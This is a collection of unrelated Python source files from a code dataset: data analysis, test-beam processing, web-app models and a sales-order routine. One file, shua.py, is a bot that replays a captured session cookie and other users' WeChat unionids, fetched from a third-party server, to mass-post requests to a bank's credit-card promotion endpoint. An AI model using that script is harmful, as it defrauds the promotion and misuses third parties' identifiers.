doc['entries']:\n list2 = []\n if city == data['Cities']:\n list2.append(data[factor1])\n list2.append(data[factor2])\n list2.append(data[factor3])\n # list2.append(data['Health Service Mark'])\n # list2.append(data['Shoppingg Service Mark'])\n # list2.append(data['Employment rate'])\n list2.append(data['GDP per capita'])\n if list2:\n list1.append(list2)\n cities_dict[city] = list1\n # for ele in cities_dict:\n # print(ele)\n # for ele2 in cities_dict[ele]:\n # print(ele2)\n cities_dict[cityname].reverse()\n return cities_dict[cityname]\n\ndef predict(data_lst,years_ahead):\n print(data_lst)\n matrix = np.array(data_lst)\n n = matrix.shape[0]\n prediction = []\n for year_ahead in range(1,years_ahead+1):\n X = matrix[:n - year_ahead, 0:3]\n y = matrix[year_ahead:n, 3:4]\n x = matrix[-1:, 0:3]\n prediction.append(regression(X,y,x))\n return prediction\n\ndef regression(X,y,x):\n reg = LinearRegression().fit(X,y)\n y = reg.predict(x)\n return round(y[0][0],3)\n\ndef main(city,factor1,factor2,factor3,years_ahead):\n img = io.BytesIO()\n\n data_lst = data_extract(city, factor1, factor2, factor3)\n prediction_lst = predict(data_lst,years_ahead)\n x = list()\n for i in range(2019,2019+years_ahead):\n x.append(i)\n plt.plot(x,prediction_lst)\n plt.xticks(x)\n plt.ylabel('GDP($AUD) per capita')\n plt.xlabel('Year')\n for a,b in zip(x, prediction_lst): \n plt.text(a, b, str(b))\n plt.savefig(img, format='png')\n img.seek(0)\n plot_url = base64.b64encode(img.getvalue()).decode()\n img.close()\n plt.close()\n return plot_url\n\ndef analysisbycityname(city):\n img = io.BytesIO()\n data_lst = data_extract(city, \"Health Service Mark\", 'Shoppingg Service Mark', 'Employment rate')\n prediction_lst = predict(data_lst, 5)\n x = list()\n for i in range(2019, 2019 + 5):\n x.append(i)\n plt.plot(x, prediction_lst)\n plt.xticks(x)\n plt.ylabel('GDP($AUD) per capita')\n plt.xlabel('Year')\n for a, b in zip(x, prediction_lst):\n plt.text(a, b, str(b))\n plt.savefig(img, format='png')\n img.seek(0)\n plot_url = base64.b64encode(img.getvalue()).decode()\n img.close()\n plt.close()\n return plot_url\n#main(\"Perth\",\"Health Service Mark\",'Shoppingg Service Mark','Employment rate',5)\n\n","sub_path":"data_analyst.py","file_name":"data_analyst.py","file_ext":"py","file_size_in_byte":3544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"95958649","text":"#!/usr/bin/python3\nimport requests\nimport time\nimport datetime\nimport re\nimport json\nimport random\n\n# get your cookies and unionid\nf = open(\"./raw\")\nfor line in f.readlines():\n line = line.strip('\\n')\n if re.search(\"Cookie:\",line):\n c=line.split('Cookie: ',1)\n if re.search(r'unionidDst',line):\n m=line.split('\"')\nf.close()\n\ncookies=c[1]\nmyline=m[7]\nwx_nickname=m[15]\nwx_header=m[11]\n\n# header for tool\naheaders={ 'postman-token': '74162342-d591-d89c-2f7b-b949454bef22',\n 'cache-control': 'no-cache',\n 'content-type': 'application/json' }\n\nsession = requests.Session()\n\n# header for zhongxin\nheaders= {\n \"Host\": \"s.creditcard.ecitic.com\",\n \"Content-type\": \"application/json\",\n \"User-Agent\": \"Mozilla/5.0 (iPhone; CPU iPhone OS 12_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16B92 MicroMessenger/6.7.4(0x1607042c) NetType/WIFI Language/zh_CN\",\n 'X-Requested-With': 'XMLHttpRequest',\n 'Cookie' : cookies,\n 'Referer' : 'https://servicewechat.com/wx13b9861d3e9fcdb0/11/page-frame.html'\n}\n\n\napplytype=\"zhuli\"\n\nzhulist = []\nfor i in range(0,8):\n listurl = \"http://144.34.215.167/site/get-unionid2?pageIndex=%s&pageSize=20&qqNumber=758192\" % (i)\n rep = session.post(url=listurl,headers=aheaders).json()\n for otherid in rep['data']:\n zhulist.append(otherid['unionid'])\n\ndef zhuli():\n if applytype == \"zhuli\":\n #f = open(\"unionid.txt\")\n #line = f.readline()\n for line in zhulist:\n print (line)\n #line = line.strip('\\n')\n datajson={\"unionidDst\":line,\n \"unionidSrc\":myline,\n \"wx_header\":wx_header,\n \"wx_nickname\":wx_nickname}\n print (datajson)\n zhuliapply = session.post(url=\"https://s.creditcard.ecitic.com/citiccard/gwapi/winterpig/assistance/enjoy\",data=json.dumps(datajson),headers=headers).text\n print (zhuliapply)\n\n\nzhuli()\n","sub_path":"shua.py","file_name":"shua.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"468443812","text":"''' Example script to run a full analysis on telescope data. The original data can be found in the example folder of the EuTelescope framework. \nThe telescope consists of 6 planes with 15 cm distance between the planes. Onle the first three planes were taken here, thus the line fit chi2 \nis alays 0. The residuals for the second plane (DUT 1) are about 8 um and comparable to the residuals from EuTelescope (6 um).\n'''\n\nimport os\nfrom multiprocessing import Pool\nimport pyTestbeamAnalysis.analyze_test_beam as atb\n\nif __name__ == '__main__':\n # The location of the datafiles, one file per DUT\n data_files = [r'data/TestBeamData_Mimosa26_DUT0.h5', # the first DUT is the reference DUT defining the coordinate system\n r'data/TestBeamData_Mimosa26_DUT1.h5',\n r'data/TestBeamData_Mimosa26_DUT2.h5',\n ]\n\n # Dimesions\n pixel_size = (18.4, 18.4) # um\n z_positions = [0., 15., 30., 45., 60., 75.] # in cm; optional, can be also deduced from data, but usually not with high precision (~ mm)\n\n output_folder = os.path.split(data_files[0])[0] # define a folder where all output data and plots are stored\n\n # The following shows a complete test beam analysis by calling the seperate function in correct order\n\n # Remove hot pixels, only needed for devices wih noisy pixels like Mimosa 26\n Pool().map(atb.remove_hot_pixels, data_files) # delete noisy hits in DUT data files in parallel on multiple cores\n data_files = [data_file[:-3] + '_hot_pixel.h5' for data_file in data_files]\n cluster_files = [data_file[:-3] + '_cluster.h5' for data_file in data_files]\n\n # Correlate the row/col of each DUT\n atb.correlate_hits(data_files, alignment_file=output_folder + r'/Alignment.h5', fraction=1)\n atb.plot_correlations(alignment_file=output_folder + r'/Alignment.h5', output_pdf=output_folder + r'/Correlations.pdf')\n\n # Create alignment data for the DUT positions to the first DUT from the correlation data\n atb.align_hits(alignment_file=output_folder + r'/Alignment.h5', output_pdf=output_folder + r'/Alignment.pdf', fit_offset_cut=(40. / 10., 10. / 10.), fit_error_cut=(500. / 1000., 500. / 1000.))\n\n # Cluster hits off all DUTs\n Pool().map(atb.cluster_hits, data_files) # find cluster on all DUT data files in parallel on multiple cores\n atb.plot_cluster_size(cluster_files, output_pdf=output_folder + r'/Cluster_Size.pdf')\n\n # Correct all DUT hits via alignment information and merge the cluster tables to one tracklets table aligned at the event number\n atb.merge_cluster_data(cluster_files, alignment_file=output_folder + r'/Alignment.h5', tracklets_file=output_folder + r'/Tracklets.h5')\n\n # Check alignment of hits in position and time\n atb.check_hit_alignment(output_folder + r'/Tracklets.h5', output_folder + r'/Alignment_Check.pdf')\n\n # Find tracks from the tracklets and stores the with quality indicator into track candidates table\n atb.find_tracks(tracklets_file=output_folder + r'/Tracklets.h5', alignment_file=output_folder + r'/Alignment.h5', track_candidates_file=output_folder + r'/TrackCandidates.h5')\n\n # optional: try to deduce the devices z positions. Difficult for parallel tracks / bad resolution and does actually not really help here. Still good for cross check.\n atb.align_z(track_candidates_file=output_folder + r'/TrackCandidates.h5', alignment_file=output_folder + r'/Alignment.h5', output_pdf=output_folder + r'/Z_positions.pdf', z_positions=z_positions, track_quality=2, max_tracks=1, warn_at=0.5)\n\n # Fit the track candidates and create new track table\n atb.fit_tracks(track_candidates_file=output_folder + r'/TrackCandidates.h5', tracks_file=output_folder + r'/Tracks.h5', output_pdf=output_folder + r'/Tracks.pdf', z_positions=z_positions, fit_duts=[0, 1, 2], include_duts=[-2, -1, 1, 2], ignore_duts=None, max_tracks=4, track_quality=2, pixel_size=pixel_size)\n#\n# optional: plot some tracks (or track candidates) of a selected event ragnge\n# atb.event_display(track_file=output_folder + r'/Tracks.h5', output_pdf=output_folder + r'/Event.pdf', z_positions=z_positions, event_range=(6493424, 6493425), pixel_size=pixel_size, plot_lim=(2, 2), dut=1)\n\n # Calculate the residuals to check the alignment\n atb.calculate_residuals(tracks_file=output_folder + r'/Tracks.h5', output_pdf=output_folder + r'/Residuals.pdf', z_positions=z_positions, pixel_size=pixel_size, use_duts=None, track_quality=2, max_chi2=3e3)\n","sub_path":"examples/eutelescope_example.py","file_name":"eutelescope_example.py","file_ext":"py","file_size_in_byte":4481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"472860386","text":"import unittest\nfrom tests import ExpressPigeonTest\n\nclass DictionariesTest(ExpressPigeonTest):\n def test_create_new_dictionaries(self):\n resp = self.api.dictionaries.create([{\n \"name\": \"sandwich1\",\n \"values\": {\n \"name\": \"ORGANIC GRASS FED SIRLOIN\",\n \"price\": \"$7.00\",\n \"image\": \"http://yourdomain.com/contnet/sandwich1.png\",\n \"url\": \"http://yourdomain.com/sandwich1\",\n \"description\": \"certified organic grass fed sirloin, Swiss Gruy?re cheese, vine tomatoes, organic mixed greens, caramelized organic onions and housemade horseradish aioli on organic bretzel baguette\"\n }\n },\n {\n \"name\": \"sandwich2\",\n \"values\": {\n \"name\": \"ORGANIC ROASTED TOFU\",\n \"price\": \"$4.99\",\n \"image\": \"http://yourdomain.com/contnet/sandwich1.png\",\n \"url\": \"http://yourdomain.com/sandwich2\",\n \"description\": \"certified organic smoked turkey, local white cheddar, fresh organic apple crisps, organic mixed greens and housemade roasted pepper aioli on organic bretzel baguette\"\n }\n }])\n self.assertEqual(resp.status, \"success\")\n self.assertEqual(resp.code, 200)\n self.assertEqual(resp.message, \"dictionaries created/updated successfully\")\n self.assertEqual(len(resp.ids), 2)\n \n dicts = self.api.dictionaries.find_all()\n self.assertEqual(len(dicts), 2)\n self.assertEqual(resp.ids.count(dicts[0].id), 1)\n self.assertEqual(resp.ids.count(dicts[1].id), 1)\n \n found = self.api.dictionaries.lookup(resp.ids[0])\n self.assertEqual(found.id, resp.ids[0])","sub_path":"tests/dictionaries_test.py","file_name":"dictionaries_test.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"237757208","text":"import numpy as np\nimport sys\nimport math\nimport cv2\n\n'''\nInitialization of common settings for WiiTricity image & videos\n\nImage data location within a stored image or frame of video\nframe_tl is the topleft corner of image data in the stored image or video frame\ncapture_size is the image size \n\n'''\nvideo_rois = {'one' : dict(row_low=53,row_high=350,column_low=6,column_high=708),\n 'hd2' : dict(row_low=0,row_high=759,column_low=0,column_high=1919),\n 'hd' : dict(row_low=0,row_high=519,column_low=0,column_high=1279)}\n\ndef initialize_settings_from_video_roi(video_roi):\n frame_tl = (video_roi['column_low'], video_roi['row_low'])\n capture_size = (video_roi['column_high']-video_roi['column_low'],video_roi['row_high']-video_roi['row_low'])\n return initialize_settings(frame_tl, capture_size)\n\ndef initialize_settings(frame_tl, capture_size):\n settings = {'frameTopLeft': frame_tl, 'active_center_norm': (0.5, 0.5), 'active_radius_norm': 0.4,\n 'capture_size': capture_size}\n width = int(settings['capture_size'][0] + 0.5) - settings['frameTopLeft'][0] * 2\n height = int(settings['capture_size'][1] + 0.5) - settings['frameTopLeft'][1] * 2\n settings['frame_size'] = (width, height)\n settings['frameBottomRight'] = (frame_tl[0] + width, frame_tl[1] + height)\n settings['active_center'] = (int(width * settings['active_center_norm'][0]),\n int(height * settings['active_center_norm'][1]))\n\n settings['active_radius'] = int(height * settings['active_radius_norm'])\n settings['frame_count'] = 0\n settings['ppMedianBlur'] = 7\n # Parameters for lucas kanade optical flow\n settings['lk_params'] = dict(winSize=(15, 15),\n maxLevel=2,\n criteria=(cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT, 10, 0.03))\n\n # params for ShiTomasi corner detection\n settings['feature_params'] = dict(maxCorners=8000,\n qualityLevel=0.01,\n minDistance=9,\n blockSize=7,\n useHarrisDetector=False,\n k=0.04)\n settings['max_distance'] = 25\n settings['min_features'] = 300\n\n\n\n return settings\n\n\n","sub_path":"projects/wiic/package1.2/wiitricity_settings.py","file_name":"wiitricity_settings.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"624827033","text":"# coding: utf-8\n#\n# Copyright 2013 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS-IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Domain object for an Oppia exploration.\"\"\"\n\n__author__ = 'Sean Lip'\n\nfrom oppia.apps.base_model.domain import BaseDomainObject\nfrom oppia.apps.exploration.models import ExplorationModel\nfrom oppia.apps.state.models import State\nimport feconf\n\n\n# TODO(sll): Add an anyone-can-edit mode.\nclass Exploration(BaseDomainObject):\n \"\"\"Domain object for an Oppia exploration.\n\n All methods and properties in this file should be independent of the\n specific storage model used.\n \"\"\"\n\n id = None\n category = None\n title = None\n state_ids = None\n parameters = None\n is_public = None\n image_id = None\n editor_ids = None\n\n _exploration_model = None\n\n def __init__(self, exploration_model):\n self._exploration_model = exploration_model\n\n self.id = exploration_model.id\n self.category = exploration_model.category\n self.title = exploration_model.title\n self.state_ids = exploration_model.state_ids\n self.parameters = exploration_model.parameters\n self.is_public = exploration_model.is_public\n self.image_id = exploration_model.image_id\n self.editor_ids = exploration_model.editor_ids\n\n def _pre_put_hook(self):\n \"\"\"Validates the exploration before it is committed to storage.\"\"\"\n if not self.state_ids:\n raise self.ObjectValidationError('This exploration has no states.')\n\n # TODO(sll): We may not need this once appropriate tests are in\n # place and all state deletion operations are guarded against. Then\n # we can remove it if speed becomes an issue.\n for state_id in self.state_ids:\n if not self.get_state_by_id(state_id, strict=False):\n raise self.ObjectValidationError('Invalid state_id %s.')\n\n if not self.is_demo and not self.editor_ids:\n raise self.ObjectValidationError('This exploration has no editors.')\n\n @classmethod\n def get(cls, exploration_id, strict=True):\n \"\"\"Returns a domain object representing an exploration.\"\"\"\n exploration_model = ExplorationModel.get(exploration_id, strict=strict)\n if exploration_model is None:\n return None\n return cls(exploration_model)\n\n def put(self):\n \"\"\"Saves the exploration.\"\"\"\n self._pre_put_hook()\n\n # TODO(sll): Make this discover the properties automatically, then move\n # it to the base domain class.\n properties = {\n 'category': self.category,\n 'title': self.title,\n 'state_ids': self.state_ids,\n 'parameters': self.parameters,\n 'is_public': self.is_public,\n 'image_id': self.image_id,\n 'editor_ids': self.editor_ids,\n }\n self._exploration_model.put(properties)\n\n def delete(self):\n \"\"\"Deletes the exploration.\"\"\"\n for state_id in self.state_ids:\n self.get_state_by_id(state_id).delete()\n self._exploration_model.delete()\n\n # Derived attributes of an exploration.\n @property\n def init_state_id(self):\n \"\"\"The id of the starting state of this exploration.\"\"\"\n return self.state_ids[0]\n\n @property\n def init_state(self):\n \"\"\"The state which forms the start of this exploration.\"\"\"\n return self.get_state_by_id(self.init_state_id)\n\n @property\n def is_demo(self):\n \"\"\"Whether the exploration is one of the demo explorations.\"\"\"\n return self.id.isdigit() and (\n 0 <= int(self.id) < len(feconf.DEMO_EXPLORATIONS))\n\n # Methods relating to owners and editors.\n def is_editable_by(self, user_id):\n \"\"\"Whether the given user has rights to edit this exploration.\"\"\"\n return user_id in self.editor_ids\n\n def is_owned_by(self, user_id):\n \"\"\"Whether the given user owns the exploration.\"\"\"\n return (not self.is_demo) and (user_id == self.editor_ids[0])\n\n def add_editor(self, editor_id):\n \"\"\"Adds a new editor. Does not commit changes.\"\"\"\n self.editor_ids.append(editor_id)\n\n # Methods relating to states comprising this exploration.\n def _has_state_named(self, state_name):\n \"\"\"Whether the exploration contains a state with the given name.\"\"\"\n return any([self.get_state_by_id(state_id).name == state_name\n for state_id in self.state_ids])\n\n def get_state_by_id(self, state_id, strict=True):\n \"\"\"Returns a state of the exploration, given its id.\"\"\"\n if state_id not in self.state_ids:\n raise Exception(\n 'Invalid state id %s for exploration %s' % (state_id, self.id))\n\n return State.get(state_id, strict=strict)\n\n def add_state(self, state_name, state_id=None):\n \"\"\"Adds a new state, and returns it. Commits changes.\"\"\"\n if self._has_state_named(state_name):\n raise Exception('Duplicate state name %s' % state_name)\n\n state_id = state_id or State.get_new_id(state_name)\n new_state = State(id=state_id, name=state_name)\n new_state.put()\n\n self.state_ids.append(new_state.id)\n self.put()\n\n return new_state\n\n def rename_state(self, state_id, new_state_name):\n \"\"\"Renames a state of this exploration.\"\"\"\n state = self.get_state_by_id(state_id)\n if state.name == new_state_name:\n return\n\n if self._has_state_named(new_state_name):\n raise Exception('Duplicate state name: %s' % new_state_name)\n\n state.name = new_state_name\n state.put()\n\n def delete_state(self, state_id):\n \"\"\"Deletes the given state. Commits changes.\"\"\"\n if state_id not in self.state_ids:\n raise Exception('State %s not in exploration %s' %\n (state_id, self.id))\n\n # Do not allow deletion of initial states.\n if self.state_ids[0] == state_id:\n raise Exception('Cannot delete initial state of an exploration.')\n\n # Find all destinations in the exploration which equal the deleted\n # state, and change them to loop back to their containing state.\n for other_state_id in self.state_ids:\n other_state = self.get_state_by_id(other_state_id)\n changed = False\n for handler in other_state.widget.handlers:\n for rule in handler.rules:\n if rule.dest == state_id:\n rule.dest = other_state_id\n changed = True\n if changed:\n other_state.put()\n\n # Delete the state with id state_id.\n self.get_state_by_id(state_id).delete()\n self.state_ids.remove(state_id)\n self.put()\n","sub_path":"oppia/apps/exploration/domain.py","file_name":"domain.py","file_ext":"py","file_size_in_byte":7302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"365164275","text":"# File Name: integer_division_1.py\n# This application will calculate the quotient and remainder for two integers provided by the user.\n\n\ndef main():\n dividend = int(input(\"Please provide the dividend as an integer: \"))\n divisor = int(input(\"Please provide the divisor as an integer: \"))\n quotient = dividend // divisor\n remainder = dividend % divisor\n print(\"Your quotient is:\", quotient)\n print(\"Your remainder is:\", remainder)\n\n\nmain()\n","sub_path":"Python Programming/my_python_course_projects/fenner_anthony_exercises_zelle_3e_chapter_03/integer_division_2.py","file_name":"integer_division_2.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"565275486","text":"# 打开文件:\n# f = open(文件名,模式)\n\n# 最常用的模式有:\n# \"r\" # 只读\n# \"w\" # 写入 如果文件不存在, 会创建这个文件; 如果文件存在, 则将其覆盖,会清空原有文件\n# \"a\"\t # 追加\n\n# content = f.read(N) # 读取N bytes的数据\n# content = f.readline() # 读取一行\n# content = f.readlines() # 读取所有行,储存在列表中,每个元素是一行。\n# f.write('I like apple') # 将'I like apple'写入文件\n# f.close()\t\t\t\t\t # 关闭文件\n\n\n\nf = open('.gitattributes','r')\nline = f.readlines()\nprint (line) ","sub_path":"b_02_openfiel.py","file_name":"b_02_openfiel.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"523098002","text":"#encoding: utf-8\nfrom OpenOrange import *\nfrom Routine import Routine\nfrom SalesOrder import SalesOrder\nfrom Invoice import Invoice\nfrom Delivery import Delivery\nfrom ReturnCustomer import ReturnCustomer\nfrom Numerable import Numerable\n\nclass RecalculateSalesOrders(Routine):\n\n def run(self):\n message(tr(\"Starting\"))\n record = self.getRecord()\n \n if (record.FixInvoice):\n iquery = Query()\n iquery.sql = \"SELECT I.SerNr \"\n iquery.sql += \"FROM [Invoice] I \"\n iquery.sql += \"INNER JOIN SalesOrder sor ON sor.SerNr =I.OriginNr \"\n if record.FromSerNr and record.ToSerNr:\n iquery.sql += \"WHERE?AND I.OriginNr BETWEEN i|%s| AND i|%s| \" %(record.FromSerNr,record.ToSerNr)\n iquery.sql += \"WHERE?AND I.OriginType = s|%s| \" % Numerable.Origin[\"SalesOrder\"]\n\n if (iquery.open()):\n for iline in iquery:\n invoice = Invoice.bring(iline.SerNr)\n if (invoice):\n if invoice.OriginNr:\n if invoice.OriginNr:\n soquery = self.getSalesOrderQuery(invoice.OriginNr)\n Found = False\n if soquery:\n for iitems in invoice.Items:\n for oitems in soquery:\n if (iitems.ArtCode == oitems.ArtCode and (iitems.OriginRowNr == oitems.rowNr or not iitems.OriginRowNr)):\n iitems.OriginSerNr = oitems.SerNr\n iitems.OriginRowNr = oitems.rowNr\n Found = True\n #break ##### Puede pasar que exista mas de una fila que proviene de la SO ya que en la factura hay una accion Dividir Filas\n #if (Found):\n # break\n res = invoice.store()\n if (res):\n commit()\n else:\n message( tr(\"Recalculation Error\",\"Invoice\") + str(invoice.SerNr) )\n if (record.FixDeliveries):\n dquery = Query()\n dquery.sql = \"SELECT D.SerNr \"\n dquery.sql += \"FROM Delivery D \"\n dquery.sql += \"WHERE?AND D.OriginType = s|%s| \" % Numerable.Origin[\"SalesOrder\"]\n if record.FromSerNr and record.ToSerNr:\n dquery.sql += \"WHERE?AND D.SONr BETWEEN i|%s| AND i|%s| \" %(record.FromSerNr,record.ToSerNr)\n\n if (dquery.open()):\n for dline in dquery:\n delivery = Delivery.bring(dline.SerNr)\n if (delivery):\n if delivery.OriginNr:\n if delivery.OriginNr:\n soquery = self.getSalesOrderQuery(delivery.OriginNr)\n Found = False\n if soquery:\n for ditems in delivery.Items:\n for oitems in soquery:\n if (ditems.ArtCode == oitems.ArtCode and ditems.OriginRowNr == oitems.rowNr):\n ditems.OriginSerNr = oitems.SerNr\n ditems.OriginRowNr = oitems.rowNr\n Found = True\n break\n if (Found):\n break\n res = delivery.store()\n if (res):\n commit()\n else:\n message( tr(\"Recalculation Error\",\"Delivery\") + str(delivery.SerNr))\n if (record.FixReturnCustomer):\n rcquery = Query()\n rcquery.sql = \"SELECT RC.SerNr \"\n rcquery.sql += \"FROM ReturnCustomer RC \"\n if record.FromSerNr and record.ToSerNr:\n rcquery.sql += \"WHERE?AND RC.OriginNr BETWEEN i|%s| AND i|%s| \" %(record.FromSerNr,record.ToSerNr)\n rcquery.sql += \"WHERE?AND RC.OriginType = s|%s| \" % Numerable.Origin[\"SalesOrder\"]\n\n if (rcquery.open()):\n for rline in rcquery:\n returncustomer = ReturnCustomer.bring(rline.SerNr)\n if (returncustomer):\n if returncustomer.OriginNr:\n if returncustomer.OriginNr:\n soquery = self.getSalesOrderQuery(returncustomer.OriginNr)\n Found = False\n if soquery:\n for rcitems in returncustomer.Items:\n for oitems in soquery:\n if (rcitems.ArtCode == oitems.ArtCode and rcitems.OriginRowNr == oitems.rowNr):\n rcitems.OriginSerNr = oitems.SerNr\n rcitems.OriginRowNr = oitems.rowNr\n Found = True\n break\n if (Found):\n break\n res = returncustomer.store()\n if (res):\n commit()\n else:\n message( tr(\"Recalculation Error\",\"Delivery\") + str(delivery.SerNr))\n #Recalcular Ordenes de Venta\n query = Query()\n query.sql = \"SELECT SerNr FROM SalesOrder\\n\"\n if record.FromSerNr: query.sql += \"WHERE?AND SerNr BETWEEN i|%i| AND i|%i|\" % (record.FromSerNr, record.ToSerNr)\n if query.open():\n for rec in query:\n so = SalesOrder.bring(rec.SerNr)\n if so:\n so.recalculate()\n if so.store():\n commit()\n else:\n message( tr(\"Saving Error\",\"SalesOrder\") + str(so.SerNr))\n break\n message(tr(\"Ready!\"))\n \n def getSalesOrderQuery(self, originNr):\n soquery = Query()\n soquery.sql = \"SELECT [sor].{rowNr},[sor].{ArtCode}, [sor].{Qty}, [so].{SerNr} FROM [SalesOrderItemRow] sor \\n\"\n soquery.sql += \"INNER JOIN [SalesOrder] so ON [so].{internalId} = [sor].{masterId} \\n\"\n soquery.sql += \"WHERE?AND [so].{SerNr} = i|%s| \" % originNr\n if soquery.open() and soquery.count():\n return soquery\n else:\n return False","sub_path":"standard/routines/RecalculateSalesOrders.py","file_name":"RecalculateSalesOrders.py","file_ext":"py","file_size_in_byte":6939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"401262652","text":"from flask import Flask, render_template, request\n\napp = Flask(__name__)\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n # do some simulation logic\n # then return another template with the results and a backlink\n return render_template('index.html', num_trials=5)\n # If it's a normal GET request, return the homepage.\n return render_template('index.html', num_trials=1)\n\n@app.route('/simulation/', methods=['POST'])\ndef run_simulation():\n num_trials = request.form['num_trials']\n return render_template('results.html', num_trials=num_trials)\n\n@app.route('/hello')\ndef hello():\n return 'Hello, world'\n\nif __name__ == '__main__':\n # for debugging only\n app.debug = True\n app.run()\n","sub_path":"mhsim.py","file_name":"mhsim.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"96012661","text":"# django imports\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.db import models\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.db.models.signals import pre_save\nfrom django.dispatch import receiver\nfrom django.db.models import Q\n\n# general python imports\nfrom lxml import html\nimport requests\nimport re\n\n\n#####################\n# Model definitions #\n#####################\n\nclass CipherSuiteQuerySet(models.QuerySet):\n def secure(self):\n return self.all().exclude(\n Q(protocol_version__vulnerabilities__severity='HIG')|\n Q(protocol_version__vulnerabilities__severity='MED')|\n Q(kex_algorithm__vulnerabilities__severity='HIG')|\n Q(kex_algorithm__vulnerabilities__severity='MED')|\n Q(enc_algorithm__vulnerabilities__severity='HIG')|\n Q(enc_algorithm__vulnerabilities__severity='MED')|\n Q(auth_algorithm__vulnerabilities__severity='HIG')|\n Q(auth_algorithm__vulnerabilities__severity='MED')|\n Q(hash_algorithm__vulnerabilities__severity='HIG')|\n Q(hash_algorithm__vulnerabilities__severity='MED')\n )\n\n def weak(self):\n return self.filter(\n Q(protocol_version__vulnerabilities__severity='MED')|\n Q(kex_algorithm__vulnerabilities__severity='MED')|\n Q(enc_algorithm__vulnerabilities__severity='MED')|\n Q(auth_algorithm__vulnerabilities__severity='MED')|\n Q(hash_algorithm__vulnerabilities__severity='MED')\n ).exclude(\n Q(protocol_version__vulnerabilities__severity='HIG')|\n Q(kex_algorithm__vulnerabilities__severity='HIG')|\n Q(enc_algorithm__vulnerabilities__severity='HIG')|\n Q(auth_algorithm__vulnerabilities__severity='HIG')|\n Q(hash_algorithm__vulnerabilities__severity='HIG')\n )\n\n def insecure(self):\n return self.filter(\n Q(protocol_version__vulnerabilities__severity='HIG')|\n Q(kex_algorithm__vulnerabilities__severity='HIG')|\n Q(enc_algorithm__vulnerabilities__severity='HIG')|\n Q(auth_algorithm__vulnerabilities__severity='HIG')|\n Q(hash_algorithm__vulnerabilities__severity='HIG')\n )\n\n\nclass CipherImplementation(models.Model):\n class Meta:\n abstract=True\n ordering=['name']\n # hex bytes identifiy cipher suite uniquely\n unique_together=(('hex_byte_1', 'hex_byte_2'),)\n\n name = models.CharField(\n primary_key=True,\n max_length=200,\n )\n hex_byte_1 = models.CharField(\n max_length=4,\n )\n hex_byte_2 = models.CharField(\n max_length=4,\n )\n min_tls_version = models.CharField(\n max_length=20,\n blank=True,\n default='',\n )\n\n\nclass GnutlsCipher(CipherImplementation):\n class Meta(CipherImplementation.Meta):\n verbose_name=_('gnutls cipher')\n verbose_name_plural=_('gnutls ciphers')\n\n\nclass OpensslCipher(CipherImplementation):\n class Meta(CipherImplementation.Meta):\n verbose_name=_('openssl cipher')\n verbose_name_plural=_('openssl ciphers')\n\n\nclass CipherSuite(models.Model):\n class Meta:\n ordering=['name']\n verbose_name=_('cipher suite')\n verbose_name_plural=_('cipher suites')\n # hex bytes identifiy cipher suite uniquely\n unique_together=(('hex_byte_1', 'hex_byte_2'),)\n\n # name of the cipher as defined by RFC\n name = models.CharField(\n primary_key=True,\n max_length=200,\n )\n gnutls_name = models.CharField(\n max_length=200,\n blank=True,\n default='',\n )\n openssl_name = models.CharField(\n max_length=200,\n blank=True,\n default='',\n )\n tls_version = models.CharField(\n max_length=50,\n blank=True,\n default='',\n )\n # hex bytes stored as string 0x00-0xFF\n hex_byte_1 = models.CharField(\n max_length=4,\n )\n hex_byte_2 = models.CharField(\n max_length=4,\n )\n # protocol version\n protocol_version = models.ForeignKey(\n 'ProtocolVersion',\n verbose_name=_('protocol version'),\n editable=False,\n on_delete=models.CASCADE,\n )\n # key exchange algorithm\n kex_algorithm = models.ForeignKey(\n 'KexAlgorithm',\n verbose_name=_('key exchange algorithm'),\n editable=False,\n on_delete=models.CASCADE,\n )\n # authentication algorithm\n auth_algorithm = models.ForeignKey(\n 'AuthAlgorithm',\n verbose_name=_('authentication algorithm'),\n editable=False,\n on_delete=models.CASCADE,\n )\n # encryption algorithm\n enc_algorithm = models.ForeignKey(\n 'EncAlgorithm',\n verbose_name=_('encryption algorithm'),\n editable=False,\n on_delete=models.CASCADE,\n )\n # hash algorithm\n hash_algorithm = models.ForeignKey(\n 'HashAlgorithm',\n verbose_name=_('hash algorithm'),\n editable=False,\n on_delete=models.CASCADE,\n )\n\n\n def __get_vulnerabilities(self):\n return set().union(\n self.protocol_version.vulnerabilities.all().values_list('severity', flat=True),\n self.enc_algorithm.vulnerabilities.all().values_list('severity', flat=True),\n self.kex_algorithm.vulnerabilities.all().values_list('severity', flat=True),\n self.auth_algorithm.vulnerabilities.all().values_list('severity', flat=True),\n 